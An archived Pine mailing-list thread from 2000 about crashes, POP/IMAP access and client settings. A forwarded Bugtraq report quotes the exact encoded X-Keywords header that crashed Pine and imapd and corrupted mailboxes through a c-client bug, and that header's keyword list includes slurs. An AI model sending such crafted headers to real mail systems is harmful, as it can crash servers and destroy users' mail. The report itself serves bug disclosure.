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anything known? My pine started to crash quite frequently recently.
Always the same error message, like this:

Problem detected: "header size inconsistant".
Pine Exiting.
Abort (core dumped)
You have mail in /var/mail/adam
adam@chia:~ 06:19pm>

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On another list, I saw the statement made that PC-Pine works only with
IMAP servers and that if your remote mail server is a POP3, it probably
won't function. I haven't yet tried PC-Pine, but my Unix copy of Version
4.21 accesses POP3 servers just fine, thank you very much. Should I
expect the same performance from PC-Pine if I structure the server address
the same way as I do in Unix Pine?

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This was recently sent to Bugtraq list...
It contained the same X-Keywords: header that he describes...

You have to edit your mailbox with another mailer or an editor (pico
doesn't use the c-client) to remove that header from any mail in the
mailbox...

---------- Forwarded message ----------
Date: Fri, 1 Sep 2000 19:53:22 +0300
From: Juhapekka Tolvanen <[email protected]>
To: [email protected]
Subject: UW c-client library vulnerability

It seems, that c-client libraries by University of Washington have
some bug(s), that makes some programs that depend upon those libraries
go crazy. AFAIK affected programs include at least Pine (read "pain"),
ipop3d and IMAPD. And those programs and libraries are commonly used in
Unixes. I don't know, if any patch, fix, work-around etc. exist.

* * *

Problem was caused by my X-Keywords-header, that serves as so called spook =
line
(Hello, NSA! :-) ):

X-Keywords: kettutyt=F6t, Sanna Sillanp=E4=E4, IKL, Jammu Siltavuori, ryss=
=E4, somali,
lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb, nuclear, Semte=
x,
satan, traitor, pedophile

I shortened it to this:

X-Keywords: lesbo, homo, lesbian, anarchism, nazi, communism, CIA, bomb,
nuclear, Semtex, satan, traitor, pedophile

And then problems disappeared. I use a character set called ISO-LATIN-1. An=
d my
original X-Keywords: -header had some scandinavic characters ("umlaut o"
aka "o with dots" and "umlaut a" aka "a with dots" ) in words
"kettutyt=F6t" and "ryss=E4".

Here are some problem reports from mailing-lists of Debian:

Date: Wed, 30 Aug 2000 23:52:12 +0200
From: Cristian Ionescu-Idbohrn <[email protected]>
To: [email protected]
CC: [email protected], [email protected],
[email protected]
Subject: imap mailbox killer

(Clip)

I don't know if it was your intension, but you managed to totally screw
up my inbox (no hard feelings)!

The IMAP daemon went crazy trying to make sense of that box and put it's
holy counts on the

"Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA".

Is this a security hole?^X

Date: Wed, 30 Aug 2000 15:31:12 -0700 (MST)
To: Cristian Ionescu-Idbohrn <[email protected]>
cc: [email protected]

(Clip)

I've been fighting this problem all day too. Pine blows up when you try
to save the INBOX back out with any changes. (I'm using fetchmail and
plain vanilla mail spool files.) It was driving me nuts. Thanks for
posting. (I saved a copy of my mailbox and will pick through it with a
fine-tooth comb later.)

(Clip)

Date: Thu, 31 Aug 2000 10:22:48 +0200 (CEST)
From: Cristian Ionescu-Idbohrn <[email protected]>
To: Juhapekka Tolvanen <[email protected]>
cc: [email protected]

(Clip)

Looks like all boxes get an extra message inserted. It looks something
like this:

,-----
| From MAILER-DAEMON Wed Aug 30 09:54:25 2000
| Delivery-Date: Thu May 11 21:51:47 2000
| Date: Thu, 11 May 2000 21:51:47 +0200 (MET DST)
| From: Mail System Internal Data <[email protected]>
| Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
| X-IMAP: 0928135936 0000033614
| Status: RO
| X-Status:
| X-Keywords:
| X-UID: 2
|
| This text is part of the internal format of your mail folder, and is not
| a real message. It is created automatically by the mail system software.
| If deleted, important folder data will be lost, and it will be re-created
| with the data reset to initial values.
`-----

I don't know if it's the IMAP daemon or the pine client who is responsible
for this.

One (or several) of Juhapekka message header entries, probably this:

,-----
| X-Keywords:
+=3D?iso-8859-1?Q?kettutyt=3DF6t=3D2C_Sanna_Sillanp=3DE4=3DE4=3D2C_IKL=3D2C=
_Jammu_Silta?=3D
| =3D?iso-8859-1?Q?vuori=3D2C_ryss=3DE4=3D2C_somali=3D2C_lesbo=3D2C_homo=
=3D2C_lesbian=3D2C?=3D
| =3D?iso-8859-1?Q?_anarchism=3D2C_nazi=3D2C_communism=3D2C_CIA=3D2C_bomb=
=3D2C_nuclear?=3D
| =3D?iso-8859-1?Q?=3D2C_Semtex=3D2C_satan=3D2C_traitor=3D2C_pedophile?=3D
`-----

caused the daemon (or the client) screw up the "magic". I ended up with a
"magic" message looking like this:

,-----
| From MAILER-DAEMON Wed Aug 30 16:36:48 2000
| Date: 30 Aug 2000 16:36:48 +0200
| From: Mail System Internal Data <[email protected]>
| Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA
| Message-ID: <[email protected]>
| X-IMAP: 0967646162 0000000339
+=3D?iso-8859-1?Q?kettutyt=3DF6t=3D2C_Sanna_Sillanp=3DE4=3DE4=3D2C_IKL=3D2C=
_Jammu_Silta?=3D
| Status: RO
|
| This text is part of the internal format of your mail folder, and is not
| a real message. It is created automatically by the mail system software.
| If deleted, important folder data will be lost, and it will be re-created
| with the data reset to initial values.
`-----

and a lot of NULL characters preceeding a few (5-6) of the messages in some
boxes.

Hope this helps to find the problem.
There's definitely a BUG lurking somewhere.

(Clip)

Date: Thu, 31 Aug 2000 12:34:14 -0400 (EDT)
From: "Jaldhar H. Vyas" <[email protected]>
Reply-To: "Jaldhar H. Vyas" <[email protected]>
To: Richard A Nelson <[email protected]>
cc: Juhapekka Tolvanen <[email protected]>,
Cristian Ionescu-Idbohrn <[email protected]>, [email protected].=
org,
[email protected]

(Clip)

> > There might be bug in either Pine or IMAP(D) or both.
>
> Both... I had to manually delete several messages in Pine 4.21 folders
> and I don't use IMAP
>

Pine also uses libc-client which is where the bug is.

(Clip)

Date: Thu, 31 Aug 2000 12:31:03 -0400 (EDT)
From: "Jaldhar H. Vyas" <[email protected]>
To: Buddha Buck <[email protected]>
cc: Richard A Nelson <[email protected]>
Juhapekka Tolvanen <[email protected]>,
Cristian Ionescu-Idbohrn <[email protected]>, [email protected],
[email protected]

(Clip)

> My school uses imap, but I didn't -directly- invoke it in this process. =
It
> may have been invoked by their mailer behind the scenes, though.
>

Not necessarily. However ipop3d and imapd both use the c-client library
for all the mail handling routines. That's where the bug is so both would
have been affected.

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On Fri, 1 Sep 2000 [email protected] wrote:

>
> anything known? My pine started to crash quite frequently recently.
> Always the same error message, like this:
>
> Problem detected: "header size inconsistant".
> Pine Exiting.
> Abort (core dumped)
> You have mail in /var/mail/adam
> adam@chia:~ 06:19pm>

I just got exactly the same error:

[Closing folder "BUGTRAQ-List". Keeping all 1,616 messages.]

Problem detected: "header size inconsistant".
Pine Exiting.
Aborted (core dumped)
[14:23:55] jim@jim:~$

This is the first time I have seen this, even if there was a header size
problem should it terminante with a core dump?

I am running pine 4.21 on i386 Linux with glibc2, compiled with:
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)

Anyone have any clues?

-
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more datapoints:
- switched back to pine 3.95 and it does not crash anymore.
- I looked for X-Keyword: as someone else suggested but
all I have noticed so far seemed to be empty ones, and thus
probably not cause of crash.

> > anything known? My pine started to crash quite frequently recently.
> > Always the same error message, like this:
> >
> > Problem detected: "header size inconsistant".
> > Pine Exiting.
> > Abort (core dumped)
> > You have mail in /var/mail/adam
> > adam@chia:~ 06:19pm>
>
>
> I just got exactly the same error:
> I am running pine 4.21 on i386 Linux with glibc2, compiled with:

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Problem detected: "header size inconsistant".
Pine Exiting.
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Can it be fixed.. and why does it crash?
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First, it's "inconsistent," not "inconsistant."

Anyway, this has to be the most useless error message ever. All of a
sudden, PINE (4.21, self-compiled on Solaris 2.6) is core-dumping with
this message as its last gasp.

Now where, exactly, is the problem in my mailbox?

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Could the developers please come into this discussion? Too many of us are
having problems that are definitely header-related and as far as I can
tell they don't seem to have been solved in 4.21, considering the frequent
complaints in the Pine Discussion Forum. I for one am certainly wary of
upgrading from 3.96 (which used to work PERFECTLY) in view of what I have
been reading here. Exactly what is going on?

(a msg from me and one from Atle Weibell follow the one from Dave, but
there have been many others the past few weeks).

Bruce Cohen

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On Sat, 2 Sep 2000, Dave Horsfall wrote:

> First, it's "inconsistent," not "inconsistant."

>Anyway, this has to be the most useless error message ever. All of a
>sudden, PINE (4.21, self-compiled on Solaris 2.6) is core-dumping with
this message as its last gasp.

>Now where, exactly, is the problem in my mailbox?

-- >Dave Horsfall CL VK2KFU [email protected] Ph: +61 2 9978-7493 Fx: *9978-7422
-- >Geac Computers P/L (FGH Division) 2/57 Christie St, St Leonards 2065,
-- >Australia

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Date: Sat, 12 Aug 2000 08:12:26 +0200 (MET DST)
From: Bruce Cohen <[email protected]>
To: Pine Discussion Forum <[email protected]>
Cc: Atle Weibell <[email protected]>
Subject: Re: Message to save shrank

I, too, have been having problems with message to save shrank for some months.
The problem started when my provider installed a different io handler.
If I look at the headers, I see that this new io handler adds a line to
the first "Received:" header: for example,

(envelope-from [email protected])

If I log on to pine and do not open the INBOX and then
quit the automatic move to mbox works fine, however neither the automatic move
or the manual save to mbox will work if the INBOX has actually been opened.

The message will shrink by a certain number of bytes, depending upon who sent
the message. In the above example (PINE-INFO as sender) the message to save
shrinks by 64 bytes - the above line is however only about 48 bytes.

If I look at the headers in the pine INBOX I see that the previous line appears to be
too long (DST is in the wrong place):

Received: from put.worldonline.nl (relay-2.worldonline.nl [195.241.48.138])
by pop3-1.worldonline.nl (8.9.3 (WOL 1.2)/8.9.3) with ESMTP id UAA22295
for <[email protected]>; Wed, 2 Aug 2000 20:54:54 +0200 (MET
DST)
(envelope-from [email protected])

If I then count immediately after MET and count all spaces it's 64 bytes.

If I look at the saved header from the mbox (assuming I can somehow convince
the message to move there), I see that the previous line seems to be OK, if
indeed a trifle long for comfort (76 bytes plus $0A $09). Can it be that
pine expands the TAB to spaces and then recompresses? It it getting confused
because the expanded line is now over 80 bytes? Will this problem disappear
magically if I have the provider upgrade to 4.21 Unix (presently 3.96)?

If I try to respond to a message, the quoting no longer works the way
it's supposed to: the > only appears on the first line - I have to
add the rest manually!

There are other problems with the INBOX as well, that may or may not be
related to the message shrank problem, but certainly are related to the
change in io handler:

1) some messages appear twice in the Index - if you read one and quit, the
"duplicate" is gone on the next login.

2) sometimes messages that aren't marked for deletion are expunged with
those that are marked. However, on the next login they're (usually) back again
where they belong.

3) sometimes (rarely) messages that are marked for deletion won't expunge.

4) Sorting by date in the INBOX no longer works correctly, as well -
it's ALMOST right, but a few messages will appear out of order...

Once a message has made it to the mbox, there are no further problems with
it - it can be moved at will to another folder or whatever.

Can anyone shed any light on the subject?

Bruce Cohen

On Wed, 9 Aug 2000, Atle Weibell wrote:

> Honored Pine users,

>I get this message each time I try to save a mail with attachments to a
>local folder:

>[Message to save shrank! (#6: 49523 --> 838)

>...where #6 is the message no in INBOX, 49253 the size of the message
>with
>attachment, and 838 the size without attachment.

>I also sometimes get another message:
>[Message size does not match expected size, continuing...]

>This happens also on messages that doesn't contain attachments...

>Anyone knows why this happens?

>Regards,
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*** Dave Horsfall ([email protected]) wrote in the pine-info list about
"header size inconsistant (sic)" on Sep 2, 2000:

:) First, it's "inconsistent," not "inconsistant."
:)

That's the message given by 4.21, which comes from unix.c in the
c-client library, its spelling is corrected in the new version of the
library distributed with the next version of pine. If you want to see an
explanation, there was a thread with the same subject as this one (except
by the word sic) in comp.mail.pine, and there you can find what Mark
explained about it.

(yes, I did look hard enough, just in case this thread comes back again)

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I don't think that the spelling is the point - it's the header problems
that really concern everyone!

On Sun, 3 Sep 2000, Eduardo Chappa wrote:

> *** Dave Horsfall ([email protected]) wrote in the pine-info list about
"header size inconsistant (sic)" on Sep 2, 2000:

:) First, it's "inconsistent," not "inconsistant."
:)

That's the message given by 4.21, which comes from unix.c in the
c-client library, its spelling is corrected in the new version of the
library distributed with the next version of pine. If you want to see an
explanation, there was a thread with the same subject as this one (except
by the word sic) in comp.mail.pine, and there you can find what Mark
explained about it.

(yes, I did look hard enough, just in case this thread comes back again)

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>From the Pine FAQ, section 9.3
(http://www.washington.edu/pine/faq/config.html#9.3):

"Versions of PC-Pine prior to 4.00 cannot be used with a POP (Post Office
Protocol) server. With Unix Pine, and with PC-Pine 4.00 and after, you can
access a POP server..."

The statement you saw was innacurate, as it only applies to pre-4.x
versions of PC-Pine.

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On Fri, 1 Sep 2000, Walt Smith wrote:

> On another list, I saw the statement made that PC-Pine works only with
> IMAP servers and that if your remote mail server is a POP3, it probably
> won't function. I haven't yet tried PC-Pine, but my Unix copy of Version
> 4.21 accesses POP3 servers just fine, thank you very much. Should I
> expect the same performance from PC-Pine if I structure the server address
> the same way as I do in Unix Pine?
>
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Morning...

I have two questions regarding patch (diff) files for the PINE email
client:
i) where should diff files be directed? (I assume this mailing list)
ii) is it preferred to have the diff file in the body of the message
or as an attachment? (I assume as an attachment)
iii) what is the preferred diff file format? (I assume it's unified)

Thanks.

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Hi...

I recommend removing the empty-header-messages parameter and forcing
composed email messages to contain a correctly formatted "To" field. As
it stands right now, users may leave the "To" field empty and include
other fields (i.e. "Cc", "Bcc", "Fcc") to send to users.

I am recommending this because of the following text in RFC822 which seems
to have been ignored:

A.3. COMPLETE HEADERS

A.3.1. Minimum required

Note that the "Bcc" field may be empty, while the "To" field
is required to have at least one address.

There are no benefits to leaving a "To" field empty and using other fields
such as "Cc" and "Bcc"; the only use they've had recently have been in
spam emails where intelligent users have filtered email that has not been
sent to their own email address or other configurable addresses. Using
only the "Cc" field defeats the purpose and intent of it (since it is
intended to be a carbon-copy of an email sent to other recipients).

A patch has been written by myself for this change. Comments are
welcomed.

-- David Rientjes

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I'm no expert on RFC822 (as I know some of the Pine developers are), but
the way I read it, the To: field is not required. All that is required is
one destination field, as shown here:

fields = dates ; Creation time,
source ; author id & one
1*destination ; address required
*optional-field ; others optional

where a destination field is defined as one of:

destination = "To" ":" 1#address ; Primary
/ "Resent-To" ":" 1#address
/ "cc" ":" 1#address ; Secondary
/ "Resent-cc" ":" 1#address
/ "bcc" ":" #address ; Blind carbon
/ "Resent-bcc" ":" #address

The appendix example you cite only says that the To: field must contain
one or more addresses if it's present. Pine does comply with this, as it
leaves out the To: field unless it has an address (or LCC/BCC
pseudo-address) in it.

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On Sun, 3 Sep 2000, David Rientjes wrote:

> Hi...
>
> I recommend removing the empty-header-messages parameter and forcing
> composed email messages to contain a correctly formatted "To" field. As
> it stands right now, users may leave the "To" field empty and include
> other fields (i.e. "Cc", "Bcc", "Fcc") to send to users.
>
> I am recommending this because of the following text in RFC822 which seems
> to have been ignored:
>
> A.3. COMPLETE HEADERS
>
> A.3.1. Minimum required
>
> Note that the "Bcc" field may be empty, while the "To" field
> is required to have at least one address.
>
> There are no benefits to leaving a "To" field empty and using other fields
> such as "Cc" and "Bcc"; the only use they've had recently have been in
> spam emails where intelligent users have filtered email that has not been
> sent to their own email address or other configurable addresses. Using
> only the "Cc" field defeats the purpose and intent of it (since it is
> intended to be a carbon-copy of an email sent to other recipients).
>
> A patch has been written by myself for this change. Comments are
> welcomed.
>
> -- David Rientjes
>
> --
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> http://www.washington.edu/pine/pine-info/
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Ok, now I'm confused by pine's behavior. I was trying to use it as an
example of the behavior I *want*, but now it seems like it doesn't
do what I want and in fact acts strangely.

1) Is space supposed to go to the next message when you are just spacing
through messages? (i.e. hit the end of one message)

I want it _NOT_ to, and I had thought that this was actually pine's behavior.

Space DOES seem to go to the next message IF you have other new messages..
otherwise it just stays there at the end of the message you're viewing.

HOWEVER, even when you space at the end of the message, and it says
[Already at end of message]
it MARKS YOUR MESSAGE AS DELETED, _WITHOUT_ showing "DEL" in the upper
right hand corner (nor saying message marked deleted or anything).

This seems awfully bad to me, and can cause data loss since the
user didn't realize their message was marked deleted.

and my original question remains -- is there any way I can space through
messages (to do paging), but NEVER go to the next message nor mark messages
deleted?

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Disable these two options in Main, Setup, Config:

[ ] enable-cruise-mode
[ ] enable-cruise-mode-delete

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On Tue, 5 Sep 2000 [email protected] wrote:

>
> Ok, now I'm confused by pine's behavior. I was trying to use it as an
> example of the behavior I *want*, but now it seems like it doesn't
> do what I want and in fact acts strangely.
>
> 1) Is space supposed to go to the next message when you are just spacing
> through messages? (i.e. hit the end of one message)
>
> I want it _NOT_ to, and I had thought that this was actually pine's behavior.
>
> Space DOES seem to go to the next message IF you have other new messages..
> otherwise it just stays there at the end of the message you're viewing.
>
> HOWEVER, even when you space at the end of the message, and it says
> [Already at end of message]
> it MARKS YOUR MESSAGE AS DELETED, _WITHOUT_ showing "DEL" in the upper
> right hand corner (nor saying message marked deleted or anything).
>
> This seems awfully bad to me, and can cause data loss since the
> user didn't realize their message was marked deleted.
>
>
>
> and my original question remains -- is there any way I can space through
> messages (to do paging), but NEVER go to the next message nor mark messages
> deleted?
>
> --
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> http://www.washington.edu/pine/pine-info/
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On Tue, 5 Sep 2000, Scott Leibrand wrote:

>Date: Tue, 5 Sep 2000 12:04:58 -0700 (PDT)
>From: Scott Leibrand <[email protected]>
>To: [email protected]
>Cc: Pine Discussion Forum <[email protected]>
>Subject: Re: space-to-next-message
>
>Disable these two options in Main, Setup, Config:
>
> [ ] enable-cruise-mode
> [ ] enable-cruise-mode-delete

Ok.. I was pretty dang sure I had seen this functionality in the preferences
before.. but wow, those aren't named very logically!

Also, being able to have #2 enabled without #1 enabled seems bad.. which
is exactly how I had it set. Seems to me that the latter should be
dependant upon the former being set.

PLUS, even with this functionality, the problem of not seeing "DEL" at the
top of the screen still remains.

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*** [email protected] wrote in the pine-info list about "Re:
space-to-next-message" today:

:) PLUS, even with this functionality, the problem of not seeing "DEL" at the
:) top of the screen still remains.

But the top of the screen refers only to the current message, if you press
the space bar you go to another message, so DEL does not apply to that
message yet. Maybe what you are thinking of is some kind of message at the
bottom of the screen that says something like "previous read message
marked deleted" or something like that.

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On Tue, 5 Sep 2000 [email protected] wrote:

>> [ ] enable-cruise-mode
>> [ ] enable-cruise-mode-delete
>
>Also, being able to have #2 enabled without #1 enabled seems bad.. which
>is exactly how I had it set. Seems to me that the latter should be
>dependant upon the former being set.
>

I agree. Perhaps in the future it will be possible to allow preferences
to be set if others are set (i.e. if enable-cruise-mode-delete is set by
the user, enable-cruise-mode is also set). This way the only way to have
the resultant behavior as you did would be to actually edit the
"pinerc" file yourself and set them manually.

There would be other uses for this as well: such as enabling
expunge-without-confirm when expunge-without-confirm-everywhere is
enabled.

-- David Rientjes

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On Tue, 5 Sep 2000, Eduardo Chappa wrote:
>*** [email protected] wrote in the pine-info list about "Re:
>space-to-next-message" today:
>
>:) PLUS, even with this functionality, the problem of not seeing "DEL" at the
>:) top of the screen still remains.
>
>But the top of the screen refers only to the current message, if you press
>the space bar you go to another message, so DEL does not apply to that
>message yet. Maybe what you are thinking of is some kind of message at the
>bottom of the screen that says something like "previous read message
>marked deleted" or something like that.

No, what I was talking about was when I had
[ ] enable-cruise-mode-delete
set, but
[ ] enable-cruise-mode
NOT SET.

I have no idea how/when I got into this state in the first place. But
in this situation, it DELETES the current message without moving
to the next message... and without telling you in the header that the
message was marked deleted. I only noticed it after I went into index
mode (the message list).

Relatively minor, but esp since pine is supposedly for beginning users,
could be a serious problem for some users.

Plus as I'm not sure if I mentioned it in my other reply -- "cruise-mode"
isn't a very good name.

Something more blatantly obvious like "space-next-message-mode" would
have made me more likely to see it in the prefs.

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The only server in my community that still offers text-only, "shell"
accounts is phasing them out. If anyone on this group could refer me to
any nationwide server (toll calls may not be a matter of choice, I know),
I would be really grateful to get the information.

Thanks.

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On Wed, 6 Sep 2000, PTD-055944 wrote:

> The only server in my community that still offers text-only, "shell"
> accounts is phasing them out. If anyone on this group could refer me
> to any nationwide server (toll calls may not be a matter of choice, I
> know), I would be really grateful to get the information.

I may have misunderstood your question, but someone told me that IDT has
them. This may not be current, though.

Freda Birnbaum, [email protected]
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On Wed, 6 Sep 2000, Freda B Birnbaum wrote:

> On Wed, 6 Sep 2000, PTD-055944 wrote:
>
> > The only server in my community that still offers text-only, "shell"
> > accounts is phasing them out. If anyone on this group could refer me
> > to any nationwide server (toll calls may not be a matter of choice, I
> > know), I would be really grateful to get the information.
>
> I may have misunderstood your question, but someone told me that IDT has
> them. This may not be current, though.
>
> Freda Birnbaum, [email protected]
> "Call on God, but row away from the rocks"

Check http://www.eskimo.com, I used to be a sysadmin there and the owner
is very old-school, they offer nationwide dialup thru
MegaPOP. (voice: 1-800-246-6874; email [email protected])

-dwild

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Is there a dedicated pine-bugs or pine-beta list?

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On Wed, 6 Sep 2000, Derek Wildstar wrote:

> Is there a dedicated pine-bugs or pine-beta list?

There's [email protected], but that's not really a list.
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Due to a new computer system I need to export user's Pine address books into
Outlook Express. Does anyone know how to do that easily and cleanly?
Thanks in advance for the help.

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This is what I did:

Go to http://www.interguru.com/mailconv.htm and download
the email address book converter.

Convert your email address book to a comma-separated format
file (.csv I believe). Then import that file with Outlook
Express.

Worked real well for me.

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Subject: address book export

Due to a new computer system I need to export user's Pine address books into
Outlook Express. Does anyone know how to do that easily and cleanly?
Thanks in advance for the help.

Peace,
Jeff at Youth Encounter
[email protected]
www.youthencounter.org

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Correction. There is no program to download. The conversion
program runs directly from the web I believe.

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This is what I did:

Go to http://www.interguru.com/mailconv.htm and download
the email address book converter.

Convert your email address book to a comma-separated format
file (.csv I believe). Then import that file with Outlook
Express.

Worked real well for me.

-----Original Message-----
From: Jeff Rowdon [mailto:[email protected]]
Sent: Wednesday, September 06, 2000 11:12 AM
To: Pine Discussion Forum
Subject: address book export

Due to a new computer system I need to export user's Pine address books into
Outlook Express. Does anyone know how to do that easily and cleanly?
Thanks in advance for the help.

Peace,
Jeff at Youth Encounter
[email protected]
www.youthencounter.org

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Due to a new computer system I need to export user's Pine address
books into Outlook Express. Does anyone know how to do that easily
and cleanly? Thanks in advance for the help.

The Pine address book is plain text. You can read it in .addressbook. It
should be possible to import and address book in some format; you may just
need to manipulate the file to placate Outlook.

Ben

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Or you could install PC-Pine on the new PC.
Anyway _avoid_ to use Micro$soft Outlock. Eudora werks a lot better
and has less bugs.

00.09.06 at 13:11, [email protected] babbled of:

JR>Due to a new computer system I need to export user's Pine address books into
JR>Outlook Express. Does anyone know how to do that easily and cleanly?
JR>Thanks in advance for the help.
JR>
JR>Peace,
JR>Jeff at Youth Encounter
JR>[email protected]
JR>www.youthencounter.org
JR>
JR>

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Dear brothers (and sisters) in Pine...

I've still got problems with saving messages to other folders due to the
[Message to save shrank (...)] error, and I also get this message:
[Message size does not match expected size, continuing...]

I've talked to my ISP about the estimated/actual message size issue, but
they could not find anything in the config about it... :(

In addition, I've started to get these messages when I view the INDEX:
(no trouble at all if I'm just *opening* INBOX)

[>Unknown message property: ((NIL<]
[>Unknown message property: "ATLE"<]
[Junk at end of address list: NIL NIL NIL) (NIL NIL NIL) (...) ]
[Not an address: ) NIL NIL NIL "<242EEB3C73(...)@ffsvg02.farmersfield.com>]
[Junk at end of envelope (...) ]

I'm getting these messages by opening a mailbox either in PC-Pine
4.21 or Unix-Pine 4.21. I've also tried Outlook (sorry...) and that worked
'fine' (at least no errors about this...). But, of course, that's not an
alternative...

My ISP runs IMail 5.08 6006-1 on an NT Server, reporting "220 X1 NT-ESMTP
Server" on port 25.

I'll appreciate any help!

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On Sun, 10 Sep 2000, Atle Weibell wrote:

> Dear brothers (and sisters) in Pine...
>
> I've still got problems with saving messages to other folders due to the
> [Message to save shrank (...)] error, and I also get this message:
> [Message size does not match expected size, continuing...]

<snip>

> My ISP runs IMail 5.08 6006-1 on an NT Server, reporting "220 X1 NT-ESMTP
> Server" on port 25.

I used to get this a lot when CSE was testing exchange server, and also
in my last job. One of the service packs fixed imap support in exchange
server and also fixed the "message size changed" problem. Another reason
(and probably more incentive) to get your ISP to update is there are/were
several security holes in old MS MTA's....or you could also switch to an
ISP who supports more than just MS propiretary protocols.

I have also noticed mailbox corruption when this error pops up.

-joel

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Hello,

Is there a way to add key commands to allow Pine to backspace and forward
space a word at a time like the bashshell ESC-B and ESC-F?

Thanks alot!!

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Is there a way to add key commands to allow Pine to backspace and
forward space a word at a time like the bashshell ESC-B and ESC-F?

You can go forward with <Ctrl-Space>. I was disappointed that I couldn't
find a way to go backward.

Ben

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I'm not sure if this is related, but see:

http://www.sendmail.org/~ca/email/chk-rcpt5.html#POP

that 'check mail first' seems to suggest a POP-before-SMTP schema...

I'm new to the list, and I'm really interested in Pine capability to use
encrypted STMP and IMAP connections, as reported in:

http://www.sendmail.org/~ca/email/mel/SASL_ClientRef.html

but I can't find any info on this (I've searched list archives, and found
something about SSL patches, but with no pointers). FAQs and help say
nothing about STMP authentication (unless I'm missing something).

I'm using PINE 4.21 distributed by RedHat in RHL6.2 (pine-4.21-8).

TIA,

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Just noticed another side effect of the message to save shrank problem.
Once a message has finally made it from INBOX to mbox - sometimes the
first line of the message apparently disappears. You have to turn full
headers on to see it - so it is now part of the header!

Bruce Cohen

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G'day folks

I noticed that sometime between pine 3.96 and 4.21 the prevpage command
"-" changed in as much as previously it always took you to the top of the
previous page, whereas now it takes you to the bottom of the previous
page. I've searched the u.wash pine website and the archives for this
list but couldn't find anything regarding that command. Can we set it's
behaviour ourselves or is it not configurable?

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On Wed, 13 Sep 2000, Peter wrote:

> I noticed that sometime between pine 3.96 and 4.21 the prevpage
> command "-" changed in as much as previously it always took you to
> the top of the previous page, whereas now it takes you to the
> bottom of the previous page.

In what screen?

I tried it in the addressbook screen, and sure enough, it took me to
the top of the screen when I pressed '-'.

Gopi.

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On Wed, 13 Sep 2000, Gopi Sundaram wrote:
> On Wed, 13 Sep 2000, Peter wrote:
>
> > I noticed that sometime between pine 3.96 and 4.21 the prevpage
> > command "-" changed in as much as previously it always took you to
> > the top of the previous page, whereas now it takes you to the
> > bottom of the previous page.
>
> In what screen?

Good point, sorry forgot to mention that part. It is the folder list
screen only that it behaves this way. Presumably this is an accidental
bug introduced?

Cheers
Peter Unmack

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Is there any way to include the password in these entries so as to avoid
having to type them in when I want to access a remote mailbox? For
example, take the following and tell me how/where to include a password:

{mail.myisp.com/pop3/user=myaccount}inbox

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These controls are not Pine-dependent, but are really emulator-specific.
I don't know if it's possible to remap emulator keystrokes in your setup,
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*** Walt Smith ([email protected]) wrote in the pine-info list
about "Syntqax for inbox entries in pinerc or .pinerc files" today:

:) Is there any way to include the password in these entries so as to avoid
:) having to type them in when I want to access a remote mailbox? For
:) example, take the following and tell me how/where to include a password:
:)
:) {mail.myisp.com/pop3/user=myaccount}inbox

If this were possible it would be very unsecure, as the password would be
in plain text, for anyone to read, the syntax does not support this, what
you have to do instead is define a PASSFILE file in your os.h file and
create an empty file with the name you define in your PASSFILE variable in
the same directory where your .pinerc file is, rebuild, and after you've
done that, pine will start asking you if you want to save your password in
the PASSFILE, and then you'll be able to access any incoming folder
without the need to enter your password. Entries in the PASSFILE are
encrypted, so that makes it a little bit safer.

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Hi,

I just tried to read mail with pine and POP having
the inbox configured as {pop.server/pop3:110}inbox .

It checks for mail when I start pine but then pop connection stays until timeout
or until I quit pine. And checking for mail that has arrived in the meantime is
not possible. A restart of pine is necessary. Is there a way to change this?

Thanks,
Antje

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Pine FAQ #

5.5 Why is it that I have to exit and reopen Pine in order to receive new
mail?

http://www.washington.edu/pine/faq/usage.html#5.5

the only way around the behavior is using IMAP account, or using a MTA
(Mail Transfer Agent) like fetchmail (I think).

aaron

On Fri, 15 Sep 2000, Antje Koschel wrote:

>
>
> Hi,
>
> I just tried to read mail with pine and POP having
> the inbox configured as {pop.server/pop3:110}inbox .
>
> It checks for mail when I start pine but then pop connection stays until timeout
> or until I quit pine. And checking for mail that has arrived in the meantime is
> not possible. A restart of pine is necessary. Is there a way to change this?
>
> Thanks,
> Antje

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This is weird, cause I run pine and as I am reading I get notified of new
messages that come in. The reason this works is cause I run pine on the
actual mail server, I am running pop3 and sendmail and sendmail is using
mail.local to deliver mail locally to people's inbox. Is this working
because I run pine on the actually mail server?

---Andy

On Fri, 15 Sep 2000,
Aaron S. Hawley wrote:

> Pine FAQ #
>
> 5.5 Why is it that I have to exit and reopen Pine in order to receive new
> mail?
>
> http://www.washington.edu/pine/faq/usage.html#5.5
>
> the only way around the behavior is using IMAP account, or using a MTA
> (Mail Transfer Agent) like fetchmail (I think).
>
> aaron
>
> On Fri, 15 Sep 2000, Antje Koschel wrote:
>
> >
> >
> > Hi,
> >
> > I just tried to read mail with pine and POP having
> > the inbox configured as {pop.server/pop3:110}inbox .
> >
> > It checks for mail when I start pine but then pop connection stays until timeout
> > or until I quit pine. And checking for mail that has arrived in the meantime is
> > not possible. A restart of pine is necessary. Is there a way to change this?
> >
> > Thanks,
> > Antje
>
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>

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At Fri, 15 Sep 2000 it looks like Aaron S. Hawley composed:

ASH-->Pine FAQ #
ASH-->
ASH-->5.5 Why is it that I have to exit and reopen Pine in order to receive new
ASH-->mail?
ASH-->

..............I had a situation where I left my machine on all
night and didn't want to hear the BEEP when a message arrived and I
also use fetchmail. I ended up setting my "mail-check-interval" to
"0" (zero) and then I use ^L to pull my mail from my
inbox. Sometimes it tells me it's an invalid command but it always
works the second try. On occassion I have to restart fetchmail but
that's a fetchmail thing, not Pine.

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On Fri, 15 Sep 2000, Andy Malato wrote:

> This is weird, cause I run pine and as I am reading I get notified
> of new messages that come in.
<snip>
> Is this working because I run pine on the actually mail server?

Yes. The notification problem is only when you are accessing your mail
via POP. In this case, you may be reading a locally mounted mail spool
file.

In any case, as I recall (from about 5 years ago), I didn't have to
actually restart Pine. I just had to close my Inbox and come back to
it to get my new messages. I would usually do this by going to my
sent-mail folder, and then coming back to the Inbox. I haven't use POP
in those 5 years, so I don't know if this still works.

Gopi.

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On Fri, 15 Sep 2000, Gopi Sundaram wrote:

> In any case, as I recall (from about 5 years ago), I didn't have to
> actually restart Pine. I just had to close my Inbox and come back to
> it to get my new messages. I would usually do this by going to my
> sent-mail folder, and then coming back to the Inbox. I haven't use POP
> in those 5 years, so I don't know if this still works.

With Pine 4.21, Pine keeps the INBOX open until you quit the program. So
